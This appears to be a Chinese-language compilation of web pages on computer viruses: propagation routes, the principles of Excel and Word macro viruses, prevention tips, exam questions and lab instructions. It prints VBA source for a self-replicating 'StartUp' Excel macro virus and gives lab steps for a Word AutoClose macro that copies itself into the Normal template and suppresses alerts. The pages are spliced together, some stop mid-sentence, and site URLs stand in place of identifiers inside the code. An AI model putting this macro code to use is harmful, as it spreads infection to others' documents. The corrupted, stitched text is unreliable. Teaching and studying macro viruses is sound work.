病毒在网络上传播的基本途径

病毒在网络上传播的基本途径
病毒在网络上传播的基本途径

网络所面临的病毒威胁主要来自3条传播途径:通过 E-mail传播、通过主动扫描传播和通过服务器传播。

1 通过 Email 传播通过E-mail传播是病毒在网络上传播的一个主要途径,很多网络病毒使用这种方式。病毒在E-m ail 中的存在方式有两种:第一种是感染E mail正文,在正文的纯文本或html 文件中直接加入恶意的脚本语言代码或加入对恶意程序的引用。这里的恶意程序,可以是存在于附件中的,也可以是利用 U RL 的远程调用。第二种是存在于 E-mail 附件中将病毒体本身或染毒程序作为附件发送。病毒首先在本地硬盘的某些文件夹如 In ternet 临时文件夹中搜索htm,html及wab, dbx文件找到目标地址,或通过 MA PI 从邮件的客户端如 Ou tlook 中提取邮件地址,然后通过各种方式将自己作为E mail的附件发出,最终利用欺骗手段和系统漏洞获取目标系统的控制权,完成整个传播过程。

2 通过主动扫描传播这类病毒一般是远程扫描 Intranet 或Internet中远程主机的漏洞,通过这些漏洞将自己注入远程计算机并取得控制权。例如,目标机器上存在弱口令账号(或Administrator账号口令为空) ,蠕虫便会利用该账号将自身远程注入到目标系统,直接获得系统控制权。另外一些病毒是搜索网络中可写的文件夹,将病毒体复制到其中或感染已有文件。它们获得系统控制权的方法跟通过 E mail 传播的病毒类似,但也有一些自己的特点:(1)欺骗手段与通过 E mail 传播相比,差别在于安全上的漏洞使病毒可能访问及写入局域网内机器上的很多目录。这样病毒可以在目标机器上广泛传播,使其被执行概率增大。(2)利用系统漏洞。与 E mail 传播不同的是,利用系统漏洞,病毒常常可以在远程获得联网主机的控制权,将自己全部复制过去,再进行下一步操作。(3) 直接改写目标机的系统文件或系统文件夹。这是病毒通过局域网传播时的一种独特方法。一些病毒通过在局域网上寻找可写的 win .ini 或注册表文件并修改,或直接拷贝本身到可写的启动目录中,以便在下次重新启动时自动运行病毒代码。

3 通过服务器传播病毒利用一些常见的漏洞(如 I IS 漏洞和I Fr ame 漏洞),利用缓冲区溢出等手段,病毒可以获得远程服务器主机的控制权。之后,病毒可以随意传染至服务器。而后通过服务器,传染至所有访问该服务器的客户机。如 Nimda 会通过扫描In tern et 来试图寻找 WW W 服务器,一旦找到服务器,该病毒便会利用已知的安全漏洞来感染该服务器,若感染成功,就会任意修改该站点的 W eb 页,当在 W eb 上冲浪的用户浏览该站点时,不知不觉中便会被自动感染。还有些病毒可以在局域网内搜索 F T P 并向其中上传带毒文件。再利用欺骗手段欺骗用户下载运行。

宏病毒原理及防范

宏病毒原理及防范 一、常见宏病毒 1.startup宏病毒 宏病毒其实并不神秘,其工作原理是借用宏表4.0的auto_open事件启动病毒代码的复制和病毒文件的新建,新建的文件常放在xlsrt文件夹下。然后利用xlstart文件夹文件可以自动启动的原理把病毒代码复制到新打开的excel文件中。下面先看看startup宏病毒代码吧,注意红字部分。 Sub auto_open() On Error Resume Next If ThisWorkbook.Path <> Application.StartupPath And Dir(Application.StartupPath & "\" & "StartUp.xls") = "" Then Application.ScreenUpdating = False ThisWorkbook.Sheets("StartUp").Copy ActiveWorkbook.SaveAs (Application.StartupPath & "\" & "StartUp.xls") n$ = https://www.360docs.net/doc/602619553.html, ActiveWindow.Visible = False Workbooks("StartUp.xls").Save Workbooks(n$).Close (False) End If Application.OnSheetActivate = "StartUp.xls!cop" Application.OnKey "%{F11}", "StartUp.xls!escape" Application.OnKey "%{F8}", "StartUp.xls!escape" End Sub Sub cop() On Error Resume Next If ActiveWorkbook.Sheets(1).Name <> "StartUp" Then Application.ScreenUpdating = False n$ = https://www.360docs.net/doc/602619553.html, Workbooks("StartUp.xls").Sheets("StartUp").Copy before:=Worksheets(1) Sheets(n$).Select End If End Sub 2.book1病毒 book1病毒最明显的标志是打开excel时自动跳出一个book1空文件。这种病毒和startup病毒工作原理相似,但启动方式不太一样,该病毒会在excel文件中添加和复制一个宏表,利用宏表4。0程序的auto_open事件启动宏表中的宏代码,进行代码复制,病毒文件创建。打开中了book1病毒文件,在插入-名称里会出现很多陌生的定义名称,这些都是病毒启动名称。 二、病毒专杀 1.手工专杀 strartup.xls病毒。首先把宏的安全性设置为最高级,禁止所有宏运行。然后在电脑中搜索xlstart文件夹,找到后把该文件夹中的strartup.xls文件

计算机病毒有那些传播途径

计算机病毒有那些传播途径 主要有:1.网络传播 2.软驱(读写软盘) 3.光盘 https://www.360docs.net/doc/602619553.html,B存储设备. 病毒传播的途径--- 目前的情况下,病毒主要通过以下3种途径进行传播: 途径1:通过不可移动的计算机硬件设备进行传播,这类病毒虽然极少,但破坏力却极强,目前尚没有较好的检测手段对付。 途径2:通过移动存储介质传播,包括软盘、光盘、U盘和移动硬盘等,用户之间在互相拷贝文件的同时也造成了病毒的扩散。 途径3:通过计算机网络进行传播。计算机病毒附着在正常文件中通过网络进入一个又一个系统,其传播速度呈几何级数增长,是目前病毒传播的首要途径。 ---防止感染病毒的方法--- 绝对的防止病毒感染似乎是一件不可能的事情,但是根据我们的经验,采取以下的方法可以有效的帮助您降低系统感染病毒的概率,减少病毒带来的损失,您可以参考执行。 方法1:购买正版的杀毒软件,而且最好选择知名厂商的产品,因为知名厂商的产品质量比较好,更新病毒库的速度及时,很快就能查杀最新出现的病毒。而且很快您就会发现:购买一款正版的杀毒软件的是非常超值的,因为您得到的回报将远远大于原先的付出。 方法2:从网上下载软件使用时一定要小心,最好到知名的站点下载,这样下载的软件中包含病毒的可能性相对要小一些。 方法3:打开所有的邮件附件时都要三思而后行,不论它是来自您的好友还是陌生人,建议对于那些邮件主题十分莫名其妙的邮件直接删除,因为根据统计,病毒通常就在那些邮件中。 方法4:打开可执行文件、Word文档和Excel前,最好仔细检查,尤其是第一次在您的系统上运行这些文件时,一定要先检查一下。 方法5:对于重要的数据,一定要定期备份;对于十分重要的数据,最好在别的计算机上再备份一次;特别重要的数据,即使进行多次备份也是值得的(我们看过了太多的用户痛心疾首的样子,因此强烈建议您这样做!!!)。 方法6:即时升级您的病毒库,保证它随时处于最新的版本,建议每天都升级一次病毒库。 方法7:建议采取如下的安装顺序:操作系统—>杀毒软件—>其它软件,这样可以最大限度的减少病毒感染的几率。

有关病毒的定义、传播途径、破坏机理

计算机病毒的定义及特征 一、计算机病毒(Computer Virus)在《中华人民共和国计算机信息系统安全 保护条例》中被明确定义,病毒指“编制或者在计算机程序中插入的破坏计 算机功能或者破坏数据,影响计算机使用并且能够自我复制的一组计算机指 令或者程序代码”。 二、计算机病毒的特征 1、寄生性计算机病毒寄生在其他程序之中,当执行这个程序时,病 毒就起破坏作用,而在未启动这个程序之前,它是不易被人发觉的。 2、传染性计算机病毒不但本身具有破坏性,更有害的是具有传染性, 一旦病毒被复制或产生变种,其速度之快令人难以预防。计算机病毒是一段 人为编制的计算机程序代码,这段程序代码一旦进入计算机并得以执行,它 就会搜寻其他符合其传染条件的程序或存储介质,确定目标后再将自身代码 插入其中,达到自我繁殖的目的。 3、潜伏性一个编制精巧的计算机病毒程序,进入系统之后一般不会 马上发作,可以在几周或者几个月内甚至几年内隐藏在合法文件中,对其他 系统进行传染,而不被人发现,潜伏性愈好,其在系统中的存在时间就会愈 长,病毒的传染范围就会愈大。 4、隐蔽性计算机病毒具有很强的隐蔽性,有的可以通过病毒软件检 查出来,有的根本就查不出来,有的时隐时现、变化无常,这类病毒处理起 来通常很困难。 5、破坏性计算机中毒后,可能会导致正常的程序无法运行,把计算 机内的文件删除或受到不同程度的损坏。通常表现为:增、删、改、移。 计算机病毒的传播途径 最易传播的途径是网络,其次是U盘,再次是光盘,由于硬盘一般在机器内,不会传播到其它电脑上,除非你把有毒的硬盘换到其它机器上。最可恶的传播是通过网络,可以通过系统漏洞,IE,办公软件漏洞,无需运行病毒服务端,直接可以获得最高权限,从而控制对方机器,还有一类网络攻击是在提供互联网服务的主机(一般通过网页方式),在被访问的网页中植入病毒或恶意代码,客户通过访问这种页面就会中毒,传播面很大(知名网站的访问量也很大),一天之内(也可能更短)可以传播到全世界。其它的传播方式是通过E-MAIL,在图片中植入木马等方式用得也多,不过危害面比第一种稍小,第一类网络传播途径中,还有一种所谓的“钓鱼”网站,现在也流行,就是不法分子通过收买,自建一个网站,伪造一个某官方网站(一般客户看不出真假),通常是一些游戏、银行、购物网站被仿冒,目的是为了骗取账号密码,赚取钱财或个人隐私!受害面也大! 计算机病毒的破坏机理 计算机病毒是编制或者在计算机程序中插入的破坏计算机功能或者破坏数据,影响计算机使用并且能够自我复制的一组计算机指令或者程序代码被称为计算机病毒(Computer Virus)。具有破坏性,复制性和传染性。 电脑容易中毒原因有几种:1.电脑漏洞多 2.程序版本低3.下载了一些未杀毒或不知名网站的资料等。

宏病毒分析及清除实验

实验五宏病毒分析及清除实验 姓名:xxx 学号:xxxxxxxx 日期:2014年4月26日 专业:计算机科学与技术 一、实验目的 ?了解“宏病毒”机理; ?掌握清除宏病毒的方法; ?掌握采用“宏”和脚本语言进行编程的技术。 二、实验环境 ?Windows2003操作系统; ?Office Word2003字处理软件。 三、实验内容 1.软件设置 关闭杀毒软件;打开Word字处理软件,在工具“宏”的“安全性”中,将“安全级”设置为低,在“可靠发行商”选项卡中,选择信任任何所有安装的加载项和模板,选择“信任visual basic项目的访问”。 注意:为了保证该实验不至于造成较大的破坏性,进行实验感染后,被感染终端不要打开过多的word文档,否则清除比较麻烦(对每个打开过的文档都要清除)。 2.自我复制功能演示 打开一个word文档,然后按Alt+F11调用宏编写窗口(工具“宏”“Visual Basic宏编辑器”),在左侧的“project—>Microsoft Word”对象“ThisDocument”中输入以下代码(Macro-1),保存,此时当前word文档就含有宏病毒,只要下次打开这个word文档,就会执行以上代码,并将自身复制到Normal.dot(word文档的公共模板)和当前文档的ThisDocument中,同时改变函数名(模板中为Document_Close,当前文档为Document_Open),此时所有的word文档打开和关闭时,都将运行以上的病毒代码,可以加入适当的恶意代码,影响word的正常使用,本例中只是简单的跳出一个提示框。 完整代码如下:

计算机基础统考题计算机安全

计算机安全 单选题 1、计算机病毒不可以______。 A:破坏计算机硬件 B:破坏计算机中的数据 C:使用户感染病毒而生病 D:抢占系统资源,影响计算机运行速度 答案:C 2、为了减少计算机病毒对计算机系统的破坏,应______。 A:尽可能不运行来历不明的软件 B:尽可能用软盘启动计算机 C:把用户程序和数据写到系统盘上 D:不使用没有写保护的软盘 答案:A 3、当软盘感染病毒,用各种清除病毒软件都不能清除病毒时,则应该对此软盘______。A:丢弃不用 B:删除所有文件 C:进行格式化 D:删除https://www.360docs.net/doc/602619553.html,文件 答案:C 4、下列关于计算机病毒叙述中,错误的是______。 A:计算机病毒具有潜伏性 B:计算机病毒具有传染性 C:感染过计算机病毒的计算机具有对该病毒的免疫性 D:计算机病毒是一个特殊的寄生程序 答案:C 5、下列防止电脑病毒感染的方法,错误的是______。 A:不随意打开来路不明的邮电 B:不用硬盘启动 C:不用来路不明的程序 D:使用杀毒软件 答案:B 6、计算机病毒具有______。 A:传播性,潜伏性,破坏性 B:传播性,破坏性,易读性 C:潜伏性,破坏性,易读性 D:传播性,潜伏性,安全性 答案:A 7、计算机一旦染上病毒,就会________。 A:立即破坏计算机系统 B:立即设法传播给其它计算机 C:等待时机,等激发条件具备时就执行 D:立即改写用户的某些数据 答案:C 8、以下哪一项不属于计算机病毒的防治策略_______。 A:防毒能力 B:查毒能力

C:杀毒能力 D:禁毒能力 答案:D 9、对计算机病毒描述正确的是______。 A:生物病毒的变种 B:一个word文档 C:一段可执行的代码 D:不必理会的小程序 答案:C 10、下列不属于网络安全的技术是________。 A:防火墙 B:加密狗 C:认证 D:防病毒 答案:B 11、下图所示,攻击者在信息从信息源结点传输到信息目的结点的过程中,所进行的攻击是______。 ┌─────┐┌──────┐ │信息源结点├──┬──→│信息目的结点│ └─────┘│└──────┘ ↓ ┌────┐ │非法用户│ └────┘ A:假冒 B:窃听 C:篡改 D:伪造 答案:B 12、允许用户在输入正确的保密信息时才能进入系统,采用的方法是_____。 A:口令 B:命令 C:序列号 D:公文 答案:A 13、使网络服务器中充斥着大量要求回复的信息,消耗带宽,导致网络或系统停止正常服务,这种攻击称为_____。A:拒绝服务 B:文件共享 C:流量分析 D:文件传输 答案:A 14、下面不属于主动攻击的是_______。 A:假冒 B:窃听 C:重放 D:修改信息 答案:B

实验三 脚本病毒和宏病毒分析

实验三脚本病毒和宏病毒分析 一、实验目的 通过这项实验旨在使学生掌握Office下宏病毒的基本原理,主要包括它的传染机制、破坏机制以及怎样清除Office下的宏病毒。 二、实验环境 操作系统环境:Windows98/NT/2000/XP 编程环境:Office VBA 三、实验基础知识要求 Office VBA编程环境 四、实验任务 1.任务性质:验证性实验 2.任务描述:下面的示例中给出的是一个Word宏病毒的示例程序(只有传染模块),仔细阅读源程序,掌握Word宏病毒的传染过程。 3.任务步骤: (1)打开Word2000,新建一个文档名为“test”; (2)点击“工具-宏-宏”,在对话框“宏的位置”选择“test”,在宏名中输入“autoclose”,然后点击“创建”按钮; (3)在VBA编辑环境中输入示例程序中给出的代码,并保存,然后退出VBA; (4)点击“工具-宏-宏”,在对话框中点击“管理器”按钮,在管理器对话框中点击“宏方案项”标签;在宏方案项有效范围的“test.doc”中将“NewMacros”改名为“AOPEDMOK”; (5)点击“工具-宏-安全性”,在安全性对话框中的安全级标签中选择“低”,在可靠性来源标签中选择“信任对VB项目的访问”; (6)保存并关闭“test”文档; (7)新建一个文档test1,关闭后重新打开,观察test1是否被感染。 (8)清除此宏病毒,即要同时删除normal模板、所有活动模板、和染毒文件的autoclose 宏。 4.示例程序 Sub autoclose() ' autoclose Macro ' 宏在2005-8-26 由jingjd 创建 On Error Resume Next Application.DisplayAlerts = wdAlertsNone Application.EnableCancelKey = wdCancelDisabled Application.DisplayStatusBar = False 'Options.VirusProtection = False Options.SaveNormalPrompt = False Const VirusName = "AOPEDMOK" 'MsgBox ActiveDocument.VBProject.VBComponents.Item(2).Name 'MsgBox ActiveDocument.VBProject.VBComponents(2).Name Set Doc = ActiveDocument.VBProject.VBComponents Set Tmp = NormalTemplate.VBProject.VBComponents Const ExportSource = "E:\aopedmok.txt" For j = 1 To Doc.Count

计算机病毒传播途径大全

计算机病毒传播途径大全 计算机病毒传播途径介绍一: 第一种途径:通过不可移动的计算机硬件设备进行传播,这些设备通常有计算机的专用asic芯片和硬盘等。 二种途径:通过移动存储设备来传播这些设备包括软盘、磁带等。 第三种途径:通过计算机网络进行传播。 第四种途径:通过点对点通信系统和无线通道传播。 计算机病毒传播途径介绍二: 病毒的传染无非是两种方式:一是网络,二是软盘与光盘。如今由于电子邮件的盛行,通过互联网传递的病毒要远远高于后者。 腾讯电脑管家温馨提示:如何预防电脑病毒 1、不要轻易下载小网站的软件与程序。 2、不要光顾那些很诱惑人的小网站,因为这些网站很有可能就是网络陷阱。 3、不要随便打开某些来路不明的e-mail与附件程序。 4、安装正版杀毒软件公司提供的防火墙,并注意时时打开着。 5、不要在线启动、阅读某些文件,否则您很有可能成为网络病毒的传播者。 6、经常给自己发封e-mail,看看是否会收到第二封未属标题

及附带程序的邮件。 计算机病毒传播途径介绍三: 网络最成用的途径是邮件,软件下载,接受文件时 1.移动的存储设备 即指软盘、cd-rom、zip磁盘、jaz磁盘、移动硬盘等。其中的软盘是使用较为广泛存储介质,因此也就比其它几种磁盘有更多的传播机会。另外盗版光盘也是传播计算机病毒的主要途径。 随着大容量可移动存储设备(如zip盘、可擦写光盘、磁光盘-mo)等的普及,这些存储介质也将成为计算机病毒寄生的场所。 2.网络电脑网络是人们现在生活不可缺少的一部分,其最大的优点就是可以实现资源共享。网络技术的应用为企业的发展作出巨大贡献,同时也为计算机病毒的迅速传播铺平了道路。 在当今的国际互联网,越来越多的人利用它来获取信息、发送和接收文件、接收和发布新的消息以及下载文件和程序。正因为如此计算机病毒也走上了高速传播之路。其感染计算机病毒的途径有以下几种: 电子邮件:计算机病毒主要是以附件的形式进行传播,由于人们可以发送任何类型的文件,而大部分计算机病毒防护软件在这方面的功能还不是十分完善,使得电子邮件成为当今世界上传播计算机病毒最主要的媒介。 www浏览:任何可执行的程序都可能被计算机病毒编制者利用,java applets和activex control也不例外,目前互联网上有些别有用心的人利用java applets和activex control来编写计算机病毒和恶性攻击程序,因此www浏览感染计算机病毒的可能性

令人心烦的excel宏病毒终于清除了-推荐下载

令人心烦的excel宏病毒终于清除了!我如释重负地吁了口气,脑子一下子轻松了许多。你可能不知道,为了清除这个excel宏病毒,几天来,搞得我头昏脑胀。 大约两三个星期前,同事罗某告诉我,下面报上来的excel表,打开后出现了奇怪的现象:会自动打开一个book1的电子表格。他让我帮忙解决一下。我初步判断是宏病毒,默认打开的book1可能是excel的模板。我先“另存为”文件,找到book1的位置,删掉。同时把excel的宏安全性设置为高,禁止运行来历不明的宏,问题即解决了。 恰巧到下面去检查工作,某单位反映,电脑中病毒了,所以没有及时交表格。一问情况,与罗某讲的情况一样。我主动表示去“搞搞看”。但是情况并非如我猜想的那样。情况是:如果将宏的安全性设为非常高,禁用宏,会弹出一个警告:“出现了一个不能被禁止、又无法签署的Microsoft Excel 4.0 宏”,该表打不开;如果要打开这个表,必须降低excel宏安全性等级,将它设为中或低,即运行宏病毒,但又多出了一个book1表。即使将book1删除,仍然不行。面对这个新病毒,当时我不知该怎么办。 没过两天,罗某又来找我,说又出现了一种现象。我去看了,正与上次在下面检查时看到了excel 4.0 宏病毒一模一样。而且,下面有几个单位都说出现了宏病毒,上报来的表格中都有上面讲的问题。而且办公室有三台电脑都感染了excel 4.0 宏病毒。这么多的电脑感染了,引起了我的兴趣。

以前,我的电脑也多次中过病毒。我一般的做法就是上网查找 资料,把几篇文章介绍的方法结合起来,多试几次,几乎都能解决。可是这一次,情况完全不同。上网查了多次,讲宏病毒的文章特别多,但是介绍杀除方法的极少,而专门针对Microsoft Excel 4.0 宏病毒的只有一两篇提问的贴子,所介绍的方法就两样,一是在Excel 2003中禁止宏,二是用杀毒软件。第一种禁止是不行的,第二种杀毒软件我用了小红伞、360安全卫士,没查出病毒。 除此之外,还有一种临时救急的方法是:打开病毒表格,复制,再新建一个表格,选择性粘贴,只选值,最后保存。这个办法虽然行,但是面对那么多有宏病毒的表格,一个一个打开、复制、选择 性粘贴是不现实的。怎么办呢? 接下来,我的思路是选择一种不支持excel宏的电子表格软件,这 样也许就把宏病毒过滤了。我试验过的软件有:wps office 2003 到最新的2010版,Ashampoo Office 2010,OpenOffice 3.2,永中Office 2009。它们都提示发现了宏,有的说不支持,有的说可以禁用,重新保存后宏病毒仍然存在,要么再打开时软件死机。 但是试验中发现微软Office 2007 / 2010 Beta 可以打开表格,只是在菜单栏提示“禁止了宏”,不影响操作。然而,现在基层单 位的电脑配置都比较低,安装不了Office 2007 / 2010 Beta,再说Office 2007 / 2010 Beta的菜单怪怪的,很多人不习惯。最重要的是,这并没有从根本上解决问题,宏病毒依然在表格文件里。 有个单位的人对我说,他们请来了电脑公司人员,几个小青年,把

病毒是怎么传播的 幼儿园中班教案

中班科学认知领域《病毒就是怎么传播的》教学目标: 1、了解病毒的来源,知道病毒的传播途径及危害。 2、开展积极的行动,学会加强自我保护,学会正确洗手。 3、明白病毒就是可防、可治的。 教学重点: 能理解在家休息、勤洗手、保持作息规律就是能够抵抗病毒的重要方式。 教学准备: 1、有关病毒传播途径、预防方法等知识。 2、准备预防病毒必须的洗手、开窗、戴口罩等相关动作图片。 教学设计: (一)谈话导入引起兴趣 教师:小朋友们,您们有没有感觉到这个春节很特别呢?就是的,春节本事万家团圆的日子,大家走亲戚,串门,拜年就是我们的传统习俗,可就是今年却因为有一种病毒,通过口沫等传播途径侵害我们的健康,所以我们都要在家做好阻断传播途径。小朋友听过关于新冠肺炎的一些报道不?听过哪些内容呢? (二)了解新型冠状病毒。 1、这就是谁? 这就就是新型冠状病毒。我们已经跟她们战斗了一段时间了 战斗中进攻很重要,防护更重要哦!

2、新型冠状病毒就是什么?就是怎么传播的? 教师:病毒说:我的样子,就像就是一朵长满花瓣的花,所以我就叫长得像花冠的病毒,主要通过口、鼻、眼进入人体。有飞沫传播与接触传播。在人说话、打喷嚏、咳嗽、吐痰的时候会产生飞沫,我在飞沫中传播。 (三)讨论演示如何预防病毒。 1、讨论;有什么办法可以预防病毒呢? (与幼儿一边回忆之前了解到得传染途径,边想出预防方法如勤洗手、打开窗户通通风、人多不去凑热闹、外出可以戴口罩等,并出示相应图片) 2、教师出示正确的洗手步骤图片,组织全体幼儿练习。 练习过程中针对错误做法进行纠正。介绍勤洗手,勤洗脸,不乱摸,以防病从口入。饮食前、大小便后、接触不洁物体后要及时洗手,教会孩子七步洗手法。洗手要用消毒皂,手心手背都搓到,指缝中间不马虎,流水洗手很重要。 3、讨论:还有哪些对身体有益的方法能够帮助我们抵抗病毒? (常喝水、不挑食、锻炼身体等) 五、教师总结 懂得科学防疫,积极主动应对,教育幼儿不怕新冠病毒。 小朋友们: 通过今天的活动,您学到了哪些预防知识呢?如果您周围有人不知道预防新冠肺炎的正确方法,您愿意告诉她怎么预防不?小朋友希望把

计算机病毒复习题(一)

计算机病毒知识测试题(单选) 1.下面是关于计算机病毒的两种论断,经判断______ (1)计算机病毒也是一种程序,它在某些条件上激活,起干扰破坏作用,并能传染到其他程序中去;(2)计算机病毒只会破坏磁盘上的数据. A)只有(1)正确B)只有(2)正确 C)(1)和(2)都正确D)(1)和(2)都不正确 2.通常所说的“计算机病毒”是指______ A)细菌感染B)生物病毒感染 C)被损坏的程序D)特制的具有破坏性的程序 3.对于已感染了病毒的U盘,最彻底的清除病毒的方法是_____ A)用酒精将U盘消毒B)放在高压锅里煮 C)将感染病毒的程序删除D)对U盘进行格式化 4.计算机病毒造成的危害是_____ A)使磁盘发霉B)破坏计算机系统 C)使计算机内存芯片损坏D)使计算机系统突然掉电 5.计算机病毒的危害性表现在______ A)能造成计算机器件永久性失效 B)影响程序的执行,破坏用户数据与程序 C)不影响计算机的运行速度

D)不影响计算机的运算结果,不必采取措施 6.计算机病毒对于操作计算机的人,______ A)只会感染,不会致病B)会感染致病 C)不会感染D)会有厄运 7.以下措施不能防止计算机病毒的是_____ A)保持计算机清洁 B)先用杀病毒软件将从别人机器上拷来的文件清查病毒 C)不用来历不明的U盘 D)经常关注防病毒软件的版本升级情况,并尽量取得最高版本的防毒软件 8.下列4项中,不属于计算机病毒特征的是______ A)潜伏性B)传染性C)激发性D)免疫性 9.下列关于计算机病毒的叙述中,正确的一条是______ A)反病毒软件可以查、杀任何种类的病毒 B)计算机病毒是一种被破坏了的程序 C)反病毒软件必须随着新病毒的出现而升级,提高查、杀病毒的功能 D)感染过计算机病毒的计算机具有对该病毒的免疫性 10.确保单位局域网的信息安全,防止来自省局内网的黑客入侵,采用______以

计算机病毒原理及防范技术(精简版)

《计算机病毒原理及防范技术》----秦志光张凤荔刘峭著 43.8万字 第1章计算机病毒概述 1.1.1计算机病毒的起源----第一种为科学幻想起源说,第二种为恶作剧,第三种为戏程序(70年代,贝尔实验室,Core War), 第四种为软件商保护软件起源说。 1.计算机病毒的发展历史-----第一代病毒,传统的病毒, 第二代病毒(1989-1991年),混合型病毒(或“超级病毒”),采取了自我保护措施(如加密技术,反跟踪技术);第三代病毒(1992-1995年)多态性病毒(自我变形病毒)首创者Mark Washburn-----“1260病毒”;最早的多态性的实战病毒----“黑夜复仇者”(Dark Avenger)的变种MutationDark Avenger ;1992年第一个多态性计算机病毒生成器MtE,第一个计算机病毒构造工具集(Virus Construction Sets)----“计算机病毒创建库”(Virus Create Library), ”幽灵”病毒;第四代病毒(1996-至今),使用文件传输协议(FTP)进行传播的蠕虫病毒,破坏计算机硬件的CIH,远程控制工具“后门”(Bank Orifice),”网络公共汽车”(NetBus)等。 2.计算机病毒的基本特征----1.程序性(利用计算机软、硬件所固有的弱点所编制的、具有特殊功能的程序),2、传染性,3、隐蔽性(兼容性、程序不可见性)4、潜伏性(“黑色星期五”,“上海一号”,CIH),5、破坏性,6、可触发性,7、不可预见性,8、针对性,9、非授权可执行性,10、衍生性。 1.2.2.计算机病毒在网络环境下表现的特征------1.电子邮件成主要媒介(QQ,MSN等即时通讯软件,可移动存储设备,网页,网络主动传播,网络,“钓鱼”),2.与黑客技术相融合(“Nimda”,CodeRed,”求职信”),3.采取了诸多的自我保护机制(逃避、甚至主动抑制杀毒软件),4.采用压缩技术(压缩变形----特征码改变,压缩算法,“程序捆绑器”),5.影响面广,后果严重,6.病毒编写越来越简单,7.摆脱平台依赖性的“恶意网页”。 1.2.3.计算机病毒的生命周期----1.孕育期(程序设计,传播),2.潜伏感染期,3.发病期,4.发现期,5.消化期,6.消亡期。 第2章计算机病毒的工作机制 2.1.1计算机病毒的典型组成三大模块-----1.引导模块(将病毒引入计算机内存,为传染模块和表现模块设置相应的启动条件),2.感染模块(两大功能-----1.依据引导模块设置的传染条件,做判断;2启动传染功能), 3.表现模块(两大功能----依据引导模块设置的触发条件,做判断;或者说表现条件判断子模块 2.1启动病毒,即表现功能实现子模块) 2.2.1计算机病毒的寄生方式-----1.替代法(寄生在磁盘引导扇区);2.链接法(链接在正常程序的首部、尾部、或中间)。 2.2.2.计算病毒的引导过程-----1。驻留内存,2.获得系统控制权, 3.恢复系统功能。 2.4.1.计算机病毒的触发机制----1.日期,2.时间, 3.键盘 4.感染触发, 5.启动, 6.访问磁盘次数, 7.调用中断功能触发, 8.CPU型号/主板型号触发。 第三章计算机病毒的表现 3.1.计算机病毒发作前的表现----1.经常无故死机,操作系统无法正常启动,运行速度异常, 4.内存不足的错误, 5.打印、通信及主机接口发生异常, 6.无意中要求对软盘进行写操作, 7.以前能正常运行的应用程序经常死机或者出现非法错误, 8.系统文件的时、日期和大小发生变化, 9.宏病毒的表现现象,10、磁盘空间迅速减少,11.网络驱动器卷或者共享目录无法调用,陌生人发来的电子邮件,13.自动链接到一些陌生的网站。

计算机病毒的传播方式以及应对方法

计算机病毒的传播方式以及应对方法 摘要:目前计算机的应用遍及到社会各个领域,同时计算机病毒也给我们带来了巨大的破坏力和潜在威胁,为了确保计算机系统能够稳定运行以及信息的安全性,了解计算机病毒的一些特征、传播方式及防范措施十分必要。 关键词:计算机病毒分类传播方式预防查杀 一、计算机病毒的定义: 一般来讲,凡是能够引起计算机故障,能够破坏计算机中的资源(包括软件和硬件)的代码,统称为计算机病毒。它通常隐藏在一些看起来无害的程序中,能生成自身的拷贝并将其插入其他的程序中,执行恶意的行动,其具有以下几个特点: 1、传染性。计算机病毒会通过各种渠道从被感染的计算机扩散到未被感染的计 算机,在某些情况下造成被感染计算机工作失常甚至瘫痪。 2、潜伏性。有些计算机病毒并不是一侵入机器就对机器造成破坏,它可能隐藏 在合法的文件中,静静的呆几周或者几个月甚至几年,具有很强的潜伏性,一旦时机成熟就会迅速繁殖、扩散。 3、隐蔽性。计算机病毒是一种具有很高编程技巧、短小精悍的可执行程序,如 不经过程序代码分析或计算机病毒代码扫描,病毒程序与正常程序很难区分开来。 4、破坏性。任何计算机病毒侵入到机器中,都会对系统造成不同程度的影响, 轻者占有系统资源,降低工作效率,重者数据丢失,机器瘫痪。 除了上述四个特点,计算机病毒还具有不可预见性、可触发性、衍生性、针对性、欺骗性、持久性等特点。正是由于计算机具有这些特点,给计算机病毒的预防、检测和清除工作带来了很大的麻烦。 二、计算机病毒的分类: 1、系统病毒。系统病毒的前缀为: Win32 、PE、Win95 、W3 2、W95 等。这种 病毒的公有的特性是可以感染windows操作系统的 *.exe 和 *.dll 文件,并通过这些文件进行传播。 2、蠕虫病毒。蠕虫病毒的前缀是:Worm 。这种病毒的公有特性是通过网络或者 系统漏洞进行传播,很大部分的蠕虫病毒都有向外发送带毒邮件,阻塞网络的特性。 3、木马病毒。木马病毒其前缀是:Trojan,它是一种会在主机上未经授权就自 动执行的恶意程序。木马病毒通过网络或者系统漏洞进入用户的系统并隐藏,然后向外界泄露用户的信息,对用户的电脑进行远程控制。 4、Arp病毒。Arp病毒也是一种木马病毒,它是对利用Arp协议漏洞进行传播的 一类病毒的总称。由于其在局域网中威胁比较大,所以单独列举一下。此病毒通过路由欺骗或网关欺骗的方式来攻击局域网,使用户电脑无法找到正确的网关而不能上网。 5、后门病毒。后门病毒的前缀是:backdoor。该类病毒的公有特性是通过网络 传播,给系统开后门,给用户电脑带来安全隐患。

GF宏病毒

西安邮电大学 通信与信息工程学院 网络攻防实验报告 专业班级: 学生姓名: 学号(班内序号): 2014 年 5 月 28 日 —————————————————————————— 装 订 线———————————————————————————————— 报告份数:

实验宏病毒 1.场景描述 在虚拟机中演示word宏病毒的发生机制,以及如何清除病毒的一系列操作。宏病毒样本:自我复制及感染病毒(copy.txt) 类台湾一号病毒(No1.txt) 备注:实验工具(D盘-->攻防工具包-->宏病毒:Copy.txt、TaiWanNo1.txt) 2.实验目的 (1)演示宏的编写 (2)说明宏的原理及其安全漏洞和缺陷 (3)理解宏病毒的作用机制,从而加强对宏病毒的认识,提高防范意识 3.需求分析 宏病毒是一种寄存在文档或模板的宏中的计算机病毒。一旦打开这样的文档,其中的宏就会被执行,于是宏病毒就会被激活,转移到计算机上,并驻留在Normal模板上。从此以后,所有自动保存的文档都会“感染”上这种宏病毒,而且如果其他用户打开了感染病毒的文档,宏病毒又会转移到他的计算机上。 因为Microsoft Word几乎已经成为目前全世界办公文档的事实工业标准,其影响是全球范围的。Word文件的交换是目前办公室数据交流和传送的最通常的方式之一,而且该病毒能跨越多种平台,并且针对数据文档进行破坏,因此具有极大地危害性。所以,必须要掌握如何预防和清除宏病毒,让损失减少。 4.技术分析 Word的文件建立是通过模板来创建的,模板是为了形成最终文档而提供的特殊文档,模板可以包括以下几个元素: 菜单、宏、格式(如备忘录等)。模板是文本、图形和格式编排的蓝图,对于某一类型的所有文档来说,文本、图像 和格式编排都是类似的。 Word提供了几种常见文档类型的模板,如备忘录、报告和商务信件。您可以直接使用模板来创建新文档,或者加 